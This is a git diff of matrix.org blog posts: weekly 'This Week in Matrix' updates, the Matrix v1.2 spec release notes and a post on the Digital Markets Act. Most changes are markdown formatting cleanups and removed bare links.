push rule that'll fire on "mention"; https://github.com/matrix-org/matrix-doc/pull/3517 -> +> +> So I've also made a proposal that tries to bring some explicitness in that, a new push rule that'll fire on "mention"; +> > It'll look for any `@`-MXID mention in the plaintext, or look for an ``-mention "pill" in the HTML. It is a hack, but it is the most correct way of determining if you've been pinged in matrix, at the moment. [Matthew](https://matrix.to/#/@matthew:matrix.org) announces @@ -97,9 +102,9 @@ Synapse is the reference homeserver for Matrix [callahad](https://matrix.to/#/@callahad:matrix.org) announces > Hello TWIM! Last week we [released Synapse 1.51](https://matrix.org/blog/2022/01/25/synapse-1-51-released). This is a great release which includes lots of performance work around sending aggregations down /sync. It also makes Spaces much more reliable: we tracked down [a bug](https://github.com/matrix-org/synapse/issues/11773) with caching which could cause some sub-spaces to randomly appear empty when queried over federation. We also [removed the 50 result limit](https://github.com/matrix-org/synapse/pull/11695) when listing the contents of a Space. -> -> We're also starting to see some promising results experimenting with ways to make room joins faster ([MSC2775](https://github.com/matrix-org/matrix-doc/pull/2775)). It's not *quite* ready to demo, but we should have something to show off before too long. 🤞 -> +> +> We're also starting to see some promising results experimenting with ways to make room joins faster ([MSC2775](https://github.com/matrix-org/matrix-doc/pull/2775)). It's not _quite_ ready to demo, but we should have something to show off before too long. 🤞 +> > Last but not least, FOSDEM is in 8 days! The Synapse team will be giving a couple of talks during the day: [Events for the Uninitiated](https://fosdem.org/2022/schedule/event/matrix_events_uninitiatied/) by Shay at 10:10 UTC, and [Beyond the Matrix: Extend the capabilities of your Synapse homeserver](https://fosdem.org/2022/schedule/event/matrix_extend_synapse/) by Brendan at 15:40 UTC. Come say hi! 🙂 ### Dendrite ([website](https://github.com/matrix-org/dendrite)) @@ -109,9 +114,9 @@ Second generation Matrix homeserver [neilalexander](https://matrix.to/#/@neilalexander:matrix.org) says > We know that it has been a while coming but today we have released [Dendrite 0.6](https://github.com/matrix-org/dendrite/releases/tag/v0.6)! This version contains a number of significant changes, including switching away from Kafka to NATS JetStream and refactoring a number of other components. We have been making architectural changes recently to help Dendrite scale better in the future and to fix a number of race conditions that were present before. Federation in particular is much smoother and better behaved in this release, with overall lower CPU and memory usage and less resource spikes. -> +> > The full changelog is [available on GitHub](https://github.com/matrix-org/dendrite/blob/master/CHANGES.md) but the highlights are: -> +> > * NATS JetStream support, deprecating Kafka and Naffka > * The roomserver now being responsible for fetching missing events and state instead of the federation API, which fixes some race conditions > * Strict ordering and asynchronous input support in the roomserver input API, which smooths out incoming federation significantly @@ -119,12 +124,12 @@ Second generation Matrix homeserver > * Database-backed device list synchronisation, which is now more reliable > * Correct gap checking when fetching missing events and state > * Better behaviour and lower resource usage by the `/event_auth` endpoint -> +> > Spec compliance, as measured by Sytest, currently sits at: -> +> > * Client-server APIs: 65% > * Server-server APIs: 94% -> +> > This is a highly recommended update so if you are running a Dendrite server, please upgrade! As always, you can join us in [#dendrite:matrix.org](https://matrix.to/#/#dendrite:matrix.org) for Dendrite discussion and announcements. ## Homeserver Deployment 📥️ @@ -142,10 +147,10 @@ Matrix Kubernetes applications packaged into helm charts [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) says > Hey folks, no releases this week but a general update on a little project of ours. I've been working through the problem of making bridges easier to use and supplimenting our command interfaces with pretty buttons and forms. To that effect, we've landed out first PR on adding widget communication support to the matrix-appservice-bridge library \o/. -> -> You can see some of the details here https://github.com/matrix-org/matrix-appservice-bridge/pull/365 -> -> **but that's not all**. I'm doing a talk about this whole subject at FOSDEM which you can tune into! See the deets at https://fosdem.org/2022/schedule/event/matrix_next_gen_interfaces/ +> +> You can see some of the details here +> +> **but that's not all**. I'm doing a talk about this whole subject at FOSDEM which you can tune into! See the deets at ## Dept of Clients 📱 @@ -156,13 +161,15 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) reports > Next to spec work, progress on porting Nheko to 100% qml continues. This week I ported the login and registration pages. I also did some minor cleanups on them and prep work for future improvements (like buttons for each SSO provider or providing email address and registration token inline instead of in a separate popup, if the server requires it). Logging in or registering is often the first thing a user does on a client or maybe even the first thing they do on Matrix! As such I should really spend more effort optimizing that feature, that usually falls off the priority list because I don't use it often! -> +> +> > ![](/blog/img/qjaQfwuJRnkZxDdIpXYOqVhF.png) -> +> > Once Nheko is 100% Qml we should also see lower memory usage again, here is a screenshot from a Nheko instance with over 100 rooms, that's been running for a few days of active use on Windows: -> +> +> > ![](/blog/img/SWwRTvWLLmJeJrFDjvomjdXj.png) -> +> > We also fixed an issue where Nheko could crash the notification service, because it sent images not following the Freedesktop notification specification and tasty spent some time further improving the man page. ### Fractal ([website](https://gitlab.gnome.org/GNOME/fractal)) @@ -172,45 +179,49 @@ Matrix messaging app for GNOME written in Rust. [Julian Sparber](https://matrix.to/#/@jsparber:gnome.org) reports > Hello folks, it's been a while since we last spoke! We have been focused on the code, but we're long overdue for an update. A lot has happened since November. Fractal-Next is getting closer to feature parity with current Fractal, and even supports new things: +> > * Timeline -> +> > * Fractal-Next now allows you to open and save sent files -> +> > * It also displays images, videos and stickers in the timeline -> +> > * You can also get a better view of media send to the room thanks to the built-in media viewer -> +> > * It (finally!) supports reactions (displaying them and sending new ones) -> +> > * User verification -> +> > * Fractal-Next now supports verification of other users by scanning their QR code, or via emoji -> +> > * When a user is verified, an icon is displayed next to their username in the list of room members -> +> > * Room details -> +> > * The room details show now the members of the room including the power level -> +> > * General UX -> +> > * Fractal-Next is better integrated with GNOME's secret management service Seahorse -> +> > * It supports room upgrades -> +> > * It also supports inviting users to a room -> +> > * Users can change the category of rooms in the sidebar via drag and drop or by using the context menu -> -> +> +> > If you want a more lengthy writing about what we've been up to and a note about the NLnet grant, please head out to [my blog post "A Long Overdue Update — Fractal Next"](https://blogs.gnome.org/jsparber/2022/01/28/a-long-overdue-update-fractal-next/) -> +> +> > ![](/blog/img/ccb673ae54d9481d042bae1ea8e02eb462a58cc9.png) -> +> +> > ![](/blog/img/7a631abacba98b5286db9a8d3e1885194bf40606.png) -> +> +> > ![](/blog/img/8e54c94c7d76b8e8a7f321487c586cd2f3943bf0.png) -> +> > {{ youtube_player(video_id="-ig5DGQ00pg") }} ### Element ([website](https://element.io)) @@ -220,25 +231,26 @@ Everything related to Element but not strictly bound to a client [kittykat](https://matrix.to/#/@kittykat:matrix.org) says > **Polls and location sharing** -> +> > * Polls is coming out of labs with the next release on all three platforms > * Location sharing is coming out in mobile apps with the next release on Monday and will need to be enabled in labs -> +> > **Community testing** -> +> > * Join [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org) to help out with the testing > * Coming up this week: > * FOSDEM conferencing > * Threads with the new APIs > * The new search experience > * All dates and times to be confirmed, follow our channel for updates -> +> > **Decryption** -> +> > * You can help us fix decryption errors by enabling automated error reporting > * On Android, enable “Auto Report Decryption Errors” in the settings -> * If you are using Nightly or develop.element.io, you can help us fix decryption errors by enabling “Automatically send debug logs on decryption errors” -> +> * If you are using Nightly or develop.element.io, you can help us fix decryption errors by enabling “Automatically send debug logs on decryption errors” +> +> > ![](/blog/img/jXSUecIqkodhzwyrUfxpKHDo.png) ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -249,9 +261,10 @@ Secure and independent communication, connected via Matrix. Come talk with us in > * Release candidate was late as we have more regressions and release blockers than normal: last minute fixes include a couple of crashes when hanging up a call from the picture-in-picture view and in the appearance tab of settings, plus chasing a crashing bug on Linux. > * Metaspaces has landed in the release candidate: it will give you a new way to group your favourites, DMs and rooms outside of spaces. You can switch these on in the Quick Settings menu at the bottom left from Monday. -> +> +> > ![](/blog/img/gokDWvXUoacbwrryuICkVJYd.png) -> +> > * Bubble layout for messages has landed for the upcoming release! > * This release will update to Electron 15 which uses a newer Chromium, so **if you host your own Jitsi, please make sure it’s up to date**, or you may find calls start breaking. > * Nightly testing went well on Tuesday, with 47 test cases showing up 15 new issues @@ -280,8 +293,8 @@ Secure and independent communication for Android, connected via Matrix. Come tal > * Release v1.3.17 coming out on Monday, includes message bubbles, polls and location sharing > * In development: -> - Message bubbles and Thread are progressing well and will probably be merged on develop next week -> - Improved automated testing (more screened added to the sanity test, including all the Spaces screens) +> * Message bubbles and Thread are progressing well and will probably be merged on develop next week +> * Improved automated testing (more screened added to the sanity test, including all the Spaces screens) ### Cinny ([website](https://cinny.in)) @@ -290,33 +303,36 @@ Cinny is a Matrix client focused on simplicity, elegance and security [ajbura](https://matrix.to/#/@ajbura:matrix.org) announces > ### Features +> > * Room settings -> - Add support for room message search in unencrypted rooms -> - Support options for Room visibility and Room addresses -> - Manage room permissions -> - Enable encryption and manage room history visibility +> * Add support for room message search in unencrypted rooms +> * Support options for Room visibility and Room addresses +> * Manage room permissions +> * Enable encryption and manage room history visibility > * Custom emoji -> - Show user and room emoji in auto-complete cmd and emojiboard -> - Show custom emojis in reactions +> * Show user and room emoji in auto-complete cmd and emojiboard +> * Show custom emojis in reactions > * Use jumbo emojis for emoji only messages > * Add toggle to use browser's preferred theme > * Show placeholder profile picture when it fails to load > * Show ban, kick, unban options in profile viewer > * Ability to change power level in profile viewer -> +> > ### Bugs +> > * Fix loading all twemoji on startup > * Fix wrong read receipt count in encrypted rooms > * Reset scroll when switching Home/DM > * Fix gap under typing indicator in some device > * Fix username overflow in timeline change messages > * Fix message formatting -> -> Find more about Cinny at https://cinny.in/ -> Join our channel at: https://matrix.to/#/#cinny:matrix.org -> Github: https://github.com/ajbura/cinny -> Twitter: https://twitter.com/@cinnyapp - +> +> Find more about Cinny at +> Join our channel at: +> Github: +> Twitter: +> +> > ![](/blog/img/WYDkuEkbCxDYcfEvkNaTBiom.PNG) ## Dept of Non Chat Clients 🎛️ @@ -328,9 +344,10 @@ A decentralized and federated way of annotating the web based on Matrix. [Daniel](https://matrix.to/#/@daniel:matrix.danilafe.com) reports > Matrix highlight got experimental support for Firefox! It's still a bit crashy, but it shouldn't be much harder to stabilize it, and get the tool working properly there, too. Firefox is my personal browser of choice, and others have requested it, so it's nice that it's on the horizon :) -> +> > Also, after the discussion in Matrix Live and with some minor tweaks, I was able to get the extension to play nice with conduit! So that's now a viable alternative if you want to use Matrix Highlight with your own, self-hosted server. -> +> +> > ![](/blog/img/nuukXBMPWPQgFquobKCYMPip.png) ### Circles ([website](https://www.kombuchaprivacy.com/circles/)) @@ -340,14 +357,15 @@ E2E encrypted social networking built on Matrix. Safe, private sharing for your [cvwright](https://matrix.to/#/@cvwright:matrix.org) reports > [Circles](https://kombuchaprivacy.com/circles) is a project to build a secure, end-to-end encrypted social network using Matrix technology. -> +> > * This week the primary focus was on updating Circles to work with the latest Matrix iOS SDK. I also successfully built and packaged the first beta release from an Apple M1 Mac. -> +> > * The next step is to develop and integrate a new, more secure password-based login based on the [BS-SPEKE](https://tobtu.com/blog/2021/10/srp-is-now-deprecated/) protocol. This will replace Circles' current approach, which is described in [MSC3265](https://github.com/matrix-org/matrix-doc/pull/3265). Hopefully the new login flow will also be of interest to the broader Matrix community. -> -> * Our search continues for an Android developer to help us bring Circles to the world's largest mobile device platform. If you are excited about working with Matrix, Android Studio, and Jetpack Compose, send a resume and cover letter to jobs@futo.org. -> +> +> * Our search continues for an Android developer to help us bring Circles to the world's largest mobile device platform. If you are excited about working with Matrix, Android Studio, and Jetpack Compose, send a resume and cover letter to . +> > More info: +> > * [Circles](https://kombuchaprivacy.com/circles) > * [Code](https://github.com/KombuchaPrivacy/circles-ios) > * [Try the beta](https://testflight.apple.com/join/cWuDwqpG) @@ -361,8 +379,9 @@ Multiplatform Kotlin SDK for Matrix [Benedict](https://matrix.to/#/@benedict:imbitbu.de) announces > [Trixnity](https://gitlab.com/benkuly/trixnity) version 1.1.0 has been released! It adds support for room key backup, which makes developing a matrix client a lot more comfortable. -> +> > Here is the changelog: +> > * Added key backup support! > * RoomService::getAll() returns a reactive list of reactive rooms instead of a reactive list of rooms. This allows to implement huge room lists without performance losses in the UI. > * Some reactive data can be accessed in a non reactive way. Note that you will then only get a snapshot of the data. @@ -375,21 +394,22 @@ Halcyon is an easy to use matrix library inspired by discord.py [gen3](https://matrix.to/#/@gen3:blackline.xyz) reports > Version 1.1.0 Released -> +> > Hello again! Halcyon is a python Matrix bot library created with the intention of being easy to install and use. > With this release, we have reached our second release milestone! Check out the roadmap in notes.md (located in the repository), for what is planned for RC3! -> I'm really happy about the performance and functionality gains for this release. If you have any questions or bug reports, come and chat with us over in https://matrix.to/#/#halcyon:blackline.xyz -> -> More info at on the project at https://github.com/WesR/Halcyon +> I'm really happy about the performance and functionality gains for this release. If you have any questions or bug reports, come and chat with us over in +> +> More info at on the project at +> > * Added -> - Detailed room info is here! The bot will now cache and provide room info with each message, automatically refreshing in the background. Check out usage.md for info on what is provided -> - get room admin / moderators, topic, related groups and more -> - Better polling through long polling (Thanks @forden:matrix.org for pointing out this improvement) -> - send images with the new send_image() function. It includes simple toggles for blurhash and thumbnail generation -> - More examples in /examples -> - General roadmap and documentation updates +> * Detailed room info is here! The bot will now cache and provide room info with each message, automatically refreshing in the background. Check out usage.md for info on what is provided +> * get room admin / moderators, topic, related groups and more +> * Better polling through long polling (Thanks @forden:matrix.org for pointing out this improvement) +> * send images with the new send_image() function. It includes simple toggles for blurhash and thumbnail generation +> * More examples in /examples +> * General roadmap and documentation updates > * Fixed -> - A fix for the slow polling, which might have also caused issues on systems with frequent network drops (Thanks @octt:matrix.org) +> * A fix for the slow polling, which might have also caused issues on systems with frequent network drops (Thanks @octt:matrix.org) ## Dept of Bots 🤖 @@ -399,10 +419,10 @@ Matrix bot to help with community management [jaywink](https://matrix.to/#/@jaywink:federator.dev) says -> https://github.com/elokapina/bubo -> +> +> > Bubo is a friendly little owl (bot) that helps maintain your community. It's been over a year since cutting the last release, so the changelog contains a bunch of things, namely: -> +> > * Added command to set power levels in rooms. > * Added users command to list and create users in a configured Keycloak. Optionally send invites via [keycloak-signup](https://github.com/elokapina/keycloak-signup), a web app that allows self-registering with Keycloak via short lived tokens. > * Add logging to a Matrix room. @@ -411,9 +431,9 @@ Matrix bot to help with community management > * Add command to list rooms Bubo maintains but is not admin in. > * Add command to recreate a room. This follows the upgrade room functionality, but does it without needing admin permissions (basically almost everything except a tombstone event). Useful if for example you have accidentally lost admin in a hundred or so rooms in your community. Which may have happened 😅 > * The communities command is now deprecated (support for spaces coming in the next version). -> +> > Additionally some other changes and fixes, see changelog for full details. -> +> > Plans for next up features include syncing with Discourse to replicate spaces from Discourse groups and populate space members from Discourse group memberships (when Discourse shares the same Keycloak SSO provider with the homeserver). ## Dept of Interesting Projects 🛰️ @@ -424,25 +444,27 @@ A Deviantart Fork based on Matrix [MTRNord (they/them)](https://matrix.to/#/@mtrnord:nordgedanken.dev) reports -> ## Reaching another feature Milestone – Submitting images via Matrix Art. -> +> ## Reaching another feature Milestone – Submitting images via Matrix Art +> > Matrix Art now supports logging in with any account (well-known not supported yet. You need to provide the full server address) and submitting images through the interface. > You can now either just log in (No benefit though at this time as comments and follows are missing) or create a Matrix Art Profile. -> +> > An Account can also be created later. An Account would create a Profile room at `#` on your server if it doesn't exist. > This currently is only possible by doing a logout and login in again with the box checked. A better way will be added soon. > Editing the Profile is not yet implemented at this time. -> +> > These 2 changes should allow some people to experiment with this. Mobile design is not tested at this time. > Submits should work. If you were previously logged in, you will need to log out and back in for some variables to get set correctly. -> +> > Registration is still WIP as there is some more moderation prep needed before the server accepts the registrations. -> +> > I hope people cheer in and post their images :) > (Also, please use the nsfw flag if required. This will make them hidden on the front page but shown in your profile page. I will block people that don't use it from the instance otherwise. Please be sensible.) +> > ## Other Changes +> > * Form readability increased -> * Search engine getting filled in the background (Self hosted https://meilisearch.com instance gets used) when submitting +> * Search engine getting filled in the background (Self hosted instance gets used) when submitting > * Loading indicator gets correctly positioned > * Images without thumbnails or html caption don't break anymore > * Directory Database was switched to SQLite @@ -450,26 +472,29 @@ A Deviantart Fork based on Matrix > * Directory Endpoint got secured using the OpenID module in Matrix > * "Devianart" typo got replaced with correct "Deviantart" > * Logout state management got improved +> > ## Project Information -> -> For more information, feel free to take a look at https://github.com/MTRNord/matrix-art +> +> For more information, feel free to take a look at > Or join our room: [#matrix-art:nordgedanken.dev](https://matrix.to/#/#matrix-art:nordgedanken.dev) - +> +> > ![](/blog/img/eb3fcf40fb0eda2182efd82a806378d36794bad7.png) ## Matrix in the News 📰 [msirringhaus](https://matrix.to/#/@msirringhaus:mozilla.org) says -> Apparently, a German school forked FluffyChat and is using it for homeschooling: https://www.golem.de/news/matrix-grundschule-forkt-messenger-2201-162562.html +> Apparently, a German school forked FluffyChat and is using it for homeschooling: > (German only news article) -> Sources: https://gitlab.com/hermanncoders/hermannpost +> Sources: ## Dept of Ping 🏓 Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -486,6 +511,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|matrix.fomin.site|2736.5| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2022/02/2022-02-02-matrix-v1-2-release.md b/content/blog/2022/02/2022-02-02-matrix-v1-2-release.md index 1442a5b15..6d0efa3d5 100644 --- a/content/blog/2022/02/2022-02-02-matrix-v1-2-release.md +++ b/content/blog/2022/02/2022-02-02-matrix-v1-2-release.md @@ -46,21 +46,16 @@ MSCs are how the spec changes in the way it does - adding, fixing, and maintaini Breaking Changes - - The `prev_content` field is now returned inside the `unsigned` property of events, rather than at the top level, as per [MSC3442](https://github.com/matrix-org/matrix-doc/pull/3442). ([#3524](https://github.com/matrix-org/matrix-doc/issues/3524)) - The `aliases` property from the chunks returned by `/publicRooms`, as per [MSC2432](https://github.com/matrix-org/matrix-doc/pull/2432). ([#3624](https://github.com/matrix-org/matrix-doc/issues/3624)) - New Endpoints - - Add the Space Hierarchy API (`GET /_matrix/client/v1/rooms/{roomId}/hierarchy`) as per [MSC2946](https://github.com/matrix-org/matrix-doc/pull/2946). ([#3610](https://github.com/matrix-org/matrix-doc/issues/3610)) - Add `/_matrix/client/v1/register/m.login.registration_token/validity` as per [MSC3231](https://github.com/matrix-org/matrix-doc/pull/3231). ([#3616](https://github.com/matrix-org/matrix-doc/issues/3616)) - Backwards Compatible Changes - - Extend `/_matrix/client/r0/login` to accept a `m.login.appservice`, as per [MSC2778](https://github.com/matrix-org/matrix-doc/pull/2778). ([#3324](https://github.com/matrix-org/matrix-doc/issues/3324)) - Add support for `restricted` rooms as per [MSC3083](https://github.com/matrix-org/matrix-doc/pull/3083), [MSC3289](https://github.com/matrix-org/matrix-doc/pull/3289), and [MSC3375](https://github.com/matrix-org/matrix-doc/pull/3375). ([#3387](https://github.com/matrix-org/matrix-doc/issues/3387)) - Add `is_guest` to `/account/whoami` as per [MSC3069](https://github.com/matrix-org/matrix-doc/pull/3069). ([#3605](https://github.com/matrix-org/matrix-doc/issues/3605)) @@ -70,10 +65,8 @@ MSCs are how the spec changes in the way it does - adding, fixing, and maintaini - Add support for fallback keys (optional keys used once one-time keys run out), as per [MSC2732](https://github.com/matrix-org/matrix-doc/pull/2732). ([#3615](https://github.com/matrix-org/matrix-doc/issues/3615)) - Add token-authenticated registration support as per [MSC3231](https://github.com/matrix-org/matrix-doc/pull/3231). ([#3616](https://github.com/matrix-org/matrix-doc/issues/3616)) - Spec Clarifications - - Make `AesHmacSha2KeyDescription` consistent with `KeyDescription` in marking `name` as optional. ([#3481](https://github.com/matrix-org/matrix-doc/issues/3481)) - Fix various typos throughout the specification. ([#3482](https://github.com/matrix-org/matrix-doc/issues/3482), [#3495](https://github.com/matrix-org/matrix-doc/issues/3495), [#3509](https://github.com/matrix-org/matrix-doc/issues/3509), [#3535](https://github.com/matrix-org/matrix-doc/issues/3535), [#3591](https://github.com/matrix-org/matrix-doc/issues/3591), [#3601](https://github.com/matrix-org/matrix-doc/issues/3601), [#3611](https://github.com/matrix-org/matrix-doc/issues/3611), [#3671](https://github.com/matrix-org/matrix-doc/issues/3671), [#3680](https://github.com/matrix-org/matrix-doc/issues/3680)) - Explicitly mention RFC5870 in the definition of `m.location` events ([#3492](https://github.com/matrix-org/matrix-doc/issues/3492)) @@ -92,28 +85,22 @@ MSCs are how the spec changes in the way it does - adding, fixing, and maintaini New Endpoints - - Add the Space Hierarchy API (`GET /_matrix/federation/v1/hierarchy/{roomId}`) as per [MSC2946](https://github.com/matrix-org/matrix-doc/pull/2946). ([#3610](https://github.com/matrix-org/matrix-doc/issues/3610), [#3660](https://github.com/matrix-org/matrix-doc/issues/3660)) - Backwards Compatible Changes - - Add support for `restricted` rooms as per [MSC3083](https://github.com/matrix-org/matrix-doc/pull/3083), [MSC3289](https://github.com/matrix-org/matrix-doc/pull/3289), and [MSC3375](https://github.com/matrix-org/matrix-doc/pull/3375). ([#3387](https://github.com/matrix-org/matrix-doc/issues/3387)) - Spec Clarifications - - Fix various typos throughout the specification. ([#3527](https://github.com/matrix-org/matrix-doc/issues/3527)) -- Clarify that `GET /_matrix/federation/v1/event_auth/{roomId}/{eventId}` does *not* return the auth chain for the full state of the room. ([#3583](https://github.com/matrix-org/matrix-doc/issues/3583)) +- Clarify that `GET /_matrix/federation/v1/event_auth/{roomId}/{eventId}` does _not_ return the auth chain for the full state of the room. ([#3583](https://github.com/matrix-org/matrix-doc/issues/3583)) - Fix the rendering of the responses for various API endpoints. ([#3674](https://github.com/matrix-org/matrix-doc/issues/3674)) ### Application Service API Spec Clarifications - - Distinguish between "federation" event format as exchanged by the Federation API, and the "client" event formats as used in the client-server and AS APIs. ([#3658](https://github.com/matrix-org/matrix-doc/issues/3658)) - Fix the rendering of the responses for various API endpoints. ([#3674](https://github.com/matrix-org/matrix-doc/issues/3674)) - Correct the documentation for the response value for `GET /_matrix/app/v1/thirdparty/protocol/{protocol}`. ([#3675](https://github.com/matrix-org/matrix-doc/issues/3675)) @@ -122,34 +109,27 @@ MSCs are how the spec changes in the way it does - adding, fixing, and maintaini Backwards Compatible Changes - - Add the `room_type` to stored invites as per [MSC3288](https://github.com/matrix-org/matrix-doc/pull/3288). ([#3610](https://github.com/matrix-org/matrix-doc/issues/3610)) - Spec Clarifications - - Fix the rendering of the responses for various API endpoints. ([#3674](https://github.com/matrix-org/matrix-doc/issues/3674)) ### Push Gateway API Spec Clarifications - - Fix the rendering of the responses for various API endpoints. ([#3674](https://github.com/matrix-org/matrix-doc/issues/3674)) ### Room Versions Backwards Compatible Changes - - Add Room Version 8 as per [MSC3289](https://github.com/matrix-org/matrix-doc/pull/3289). ([#3387](https://github.com/matrix-org/matrix-doc/issues/3387)) - Add Room Version 9 as per [MSC3375](https://github.com/matrix-org/matrix-doc/pull/3375). ([#3387](https://github.com/matrix-org/matrix-doc/issues/3387)) - Spec Clarifications - - Fully specify room versions to indicate what exactly is carried over from parent versions. ([#3432](https://github.com/matrix-org/matrix-doc/issues/3432), [#3661](https://github.com/matrix-org/matrix-doc/issues/3661)) - Clarifications to sections on event IDs and event formats. ([#3501](https://github.com/matrix-org/matrix-doc/issues/3501)) - Remove a number of fields which were incorrectly shown to form part of the `unsigned` data of a Federation PDU. ([#3522](https://github.com/matrix-org/matrix-doc/issues/3522)) @@ -161,6 +141,5 @@ MSCs are how the spec changes in the way it does - adding, fixing, and maintaini Backwards Compatible Changes - - Describe "Common Namespaced Identifier Grammar" as per [MSC2758](https://github.com/matrix-org/matrix-doc/pull/2758). ([#3171](https://github.com/matrix-org/matrix-doc/issues/3171)) - Describe the `matrix:` URI scheme as per [MSC2312](https://github.com/matrix-org/matrix-doc/pull/2312). ([#3608](https://github.com/matrix-org/matrix-doc/issues/3608)) diff --git a/content/blog/2022/02/2022-02-03-digital-markets-act-and-interoperability-myth-debunking-of-the-gatekeepers-arguments.md b/content/blog/2022/02/2022-02-03-digital-markets-act-and-interoperability-myth-debunking-of-the-gatekeepers-arguments.md index da79476ef..fcecb6d1c 100644 --- a/content/blog/2022/02/2022-02-03-digital-markets-act-and-interoperability-myth-debunking-of-the-gatekeepers-arguments.md +++ b/content/blog/2022/02/2022-02-03-digital-markets-act-and-interoperability-myth-debunking-of-the-gatekeepers-arguments.md @@ -12,7 +12,7 @@ Today the European Parliament, the European Council and the European Commission [The DMA](https://ec.europa.eu/info/strategy/priorities-2019-2024/europe-fit-digital-age/digital-markets-act-ensuring-fair-and-open-digital-markets_en) is a groundbreaking step forward in shaking the hold a few gatekeepers have on users and the market, in particular because it looks to (among others): * Require gatekeepers to allow other services to interoperate with their services -* Prevent them to treat their own services and products more favourably (for example by ranking) +* Prevent them to treat their own services and products more favourably (for example by ranking) * Require them to allow users to uninstall any pre-installed software or app The interoperability obligation is obviously the one on which we’ve kept a particularly close eye, as if it lands well it could take the success of Matrix to the next level completely overnight. @@ -23,7 +23,6 @@ We’ve been lucky to have had the opportunity to talk to policy advisors from d We’ve ended up just listing them in a quick, high level, Myth Debunking exercise and thought it would be useful to actually publish them for everyone to access, so here they are! - * **MYTH #1 -** "It is impossible to have a standard that is open, decentralized and secure at the same time" ⇒ **false**: HTTPS did it, Matrix did it. * **MYTH #2 -** "It is difficult and expensive to make existing services compatible with a standard" @@ -33,7 +32,7 @@ We’ve ended up just listing them in a quick, high level, Myth Debunking exerci * **MYTH #4 -** "It may work for messaging, but less so for social networks" ⇒ **false**: it's still about managing content and users. Even though social networks have more varied content, it is already well modelled for their own APIs, ready to be expressed in a common language. The key is in the fallback option on unsupported features, as well as the ability to have moderation tools (more on that later). * **MYTH #5 -** “Interoperability is not compatible with data privacy” -⇒ **false**: Interoperability gives the ability to users to choose who is hosting their data and as such choose providers they trust. Besides, the DMA doesn’t live in a vacuum: it will exist alongside horizontal regulations like the GDPR and the Data Act, which give people sufficient control over their data to rectify their choices if they are not happy. Because the possibility of interoperability is there, it does not mean it will become mandatory for users to use it: they will still have their own threat models and will make decisions accordingly, just as they do today. But enshrining interoperability in law will at least ensure gatekeepers need to provide recourse for people to have further control over their data, which will be an improvement from the landscape today. +⇒ **false**: Interoperability gives the ability to users to choose who is hosting their data and as such choose providers they trust. Besides, the DMA doesn’t live in a vacuum: it will exist alongside horizontal regulations like the GDPR and the Data Act, which give people sufficient control over their data to rectify their choices if they are not happy. Because the possibility of interoperability is there, it does not mean it will become mandatory for users to use it: they will still have their own threat models and will make decisions accordingly, just as they do today. But enshrining interoperability in law will at least ensure gatekeepers need to provide recourse for people to have further control over their data, which will be an improvement from the landscape today. * **MYTH #6 -** "There is no user need" ⇒ **false**: most haven't had a taste of interoperable chat/social media (but they know email), others are demanding bridges between services: [25% users of 2 communication apps lose contact with friends because they are using too many apps](https://www.dailymail.co.uk/sciencetech/article-10451559/One-four-people-struggle-friends-using-apps.html). And this figure doubles for people using more than 5 apps. There was no demand for cars when they were created: people only wanted faster horses. * **MYTH #7 -** "There is no demand from European companies" diff --git a/content/blog/2022/02/2022-02-04-this-week-in-matrix-2022-02-04.md b/content/blog/2022/02/2022-02-04-this-week-in-matrix-2022-02-04.md index b34d76129..d71963109 100644 --- a/content/blog/2022/02/2022-02-04-this-week-in-matrix-2022-02-04.md +++ b/content/blog/2022/02/2022-02-04-this-week-in-matrix-2022-02-04.md @@ -18,7 +18,7 @@ image = "https://matrix.org/blog/img/ec1c7832659c23255bfc359cc15c02b22c0ee5f5.pn [TravisR](https://matrix.to/#/@travis:t2l.io) says -> We've got a devroom. check it out. https://fosdem.org/2022/schedule/track/matrixorg_foundation_and_community +> We've got a devroom. check it out. And let me add @@ -28,41 +28,47 @@ And let me add [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) announces -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ## MSC Status -> +> > **New MSCs:** +> > * [WIP: MSC3706: Extensions to `/_matrix/federation/v2/send_join/{roomId}/{eventId}` for partial state](https://github.com/matrix-org/matrix-doc/pull/3706) > * [MSC3700: Deprecate plaintext sender key](https://github.com/matrix-org/matrix-doc/pull/3700) -> +> > **MSCs with proposed Final Comment Period:** +> > * [MSC3383: Include destination in X-Matrix Auth Header](https://github.com/matrix-org/matrix-doc/pull/3383) -> +> > **MSCs in Final Comment Period:** +> > * *No MSCs are in FCP.* -> +> > **Abandoned MSCs:** +> > * [MSC2810: Consistent globs specification](https://github.com/matrix-org/matrix-doc/pull/2810) -> +> > **Merged MSCs:** +> > * [MSC3676: Transitioning away from reply fallbacks](https://github.com/matrix-org/matrix-doc/pull/3676) -> +> > ## Spec Updates -> -> Matrix v1.2 has landed! 🥳 Read the [official announcement blogpost](https://matrix.org/blog/2022/02/02/matrix-v-1-2-release) and check it out over at https://spec.matrix.org/v1.2/. This release includes headlining features such as [Spaces](https://spec.matrix.org/v1.2/client-server-api/#spaces), room versions 8 and 9 which bring [restricted join rules](https://spec.matrix.org/v1.2/client-server-api/#restricted-rooms), as well as the [new Matrix URI scheme](https://spec.matrix.org/v1.2/appendices/#uris). -> +> +> Matrix v1.2 has landed! 🥳 Read the [official announcement blogpost](https://matrix.org/blog/2022/02/02/matrix-v-1-2-release) and check it out over at . This release includes headlining features such as 